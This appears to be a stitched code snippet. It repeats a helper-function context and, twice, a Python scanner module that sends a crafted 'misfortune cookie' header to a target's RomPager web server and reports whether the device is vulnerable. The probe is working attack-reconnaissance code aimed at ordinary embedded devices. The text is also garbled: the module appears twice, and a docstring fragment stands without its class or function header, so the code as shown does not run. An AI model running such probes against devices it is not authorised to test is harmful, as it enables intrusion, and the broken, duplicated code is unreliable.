# Path: interface/messages.py
# def print_failed(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)


import core.Scanner
import requests
import requests.exceptions
import re
from interface.messages import print_failed, print_success, print_warning, print_error
    host        Target host address
    port        Target port
    """
    def __init__(self):
        core.Scanner.RextScanner.__init__(self)

    def do_run(self, e):
        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
        headers = {'User-Agent': user_agent,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
                   'Connection': 'keep-alive',
                   'Accept-Encoding': 'gzip, deflate',
                   'Cache-Control': 'no-cache',
                   'Cookie': 'C107373883=/omg1337hax'}
        target = 'http://' + self.host + ":" + self.port + '/blabla'
        try:
            response = requests.get(target, headers=headers, timeout=60)
            if response.status_code != 404:
                print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
                print_warning("Device is not running RomPager")
            else:
                if 'server' in response.headers:
                    server = response.headers.get('server')
                    if re.search('RomPager', server) is not None:
                        print_success("Got RomPager! Server:%s" % server)
                        if re.search('omg1337hax', response.text) is not None:
                            print_success("device is vulnerable to misfortune cookie")
                        else:
                            print_failed("test didn't pass.")

# Path: interface/messages.py
# def print_failed(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)


# Path: modules/scanners/allegrosoft/misfortune_cookie.py
import core.Scanner
import requests
import requests.exceptions
import re
from interface.messages import print_failed, print_success, print_warning, print_error

    host        Target host address
    port        Target port
    """
    def __init__(self):
        core.Scanner.RextScanner.__init__(self)

    def do_run(self, e):
        user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
        headers = {'User-Agent': user_agent,
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
                   'Connection': 'keep-alive',
                   'Accept-Encoding': 'gzip, deflate',
                   'Cache-Control': 'no-cache',
                   'Cookie': 'C107373883=/omg1337hax'}
        target = 'http://' + self.host + ":" + self.port + '/blabla'
        try:
            response = requests.get(target, headers=headers, timeout=60)
            if response.status_code != 404:
                print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
                print_warning("Device is not running RomPager")
            else:
                if 'server' in response.headers:
                    server = response.headers.get('server')
                    if re.search('RomPager', server) is not None:
                        print_success("Got RomPager! Server:%s" % server)
                        if re.search('omg1337hax', response.text) is not None:
                            print_success("device is vulnerable to misfortune cookie")
                        else:
                            print_failed("test didn't pass.")

                            print_warning("Device MAY still be vulnerable")